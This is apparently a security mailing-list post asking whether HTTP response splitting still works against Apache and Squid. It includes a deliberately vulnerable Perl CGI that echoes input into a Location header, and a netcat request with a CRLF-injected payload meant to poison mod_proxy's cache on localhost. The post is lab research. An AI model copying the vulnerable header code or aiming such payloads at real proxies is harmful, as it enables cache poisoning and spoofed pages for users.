Hi list.
Hope somebody will spent some time on my question :),
or point me to the right list.
Is http splitting still works in fresh version of common applications
(squid, apache)?
I've wrote sample application (cgi script) vulnerable to it, however
apache mod_proxy just ignores the answer, and initiates a new
connection for each request.
Chain:
Client (netcat) -> Apache(mod_proxy) -> Apache -> vulnerable cgi.
Proxy is on localhost.
Goal: poison mod_proxy's cache
The cgi is:
#!/usr/bin/perl
use CGI qw(:standard);
print "Status: 302 Moved\nLocation: ".param('name')."\n\n";
The attemt to exploit is:
#nc localhost 80
GET
http://test.xxx/cgi-bin/1.pl?name=Foo%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0a%0aContent-Length:%2020%0d%0a%0d%0a<html>Gotcha!</html>
HTTP/1.1

However, as I've found, mod_proxy initiates a new connection for the
second GET. That breaks the whole idea to exploit http splitting. Is
it some kind of new protection feature in apache mod_cache?
Please, could anybody provide a brief description of common
applications on which attack is working. It seems vendors have done a
great job (like filtering characters in PHP header, or Tomcat).
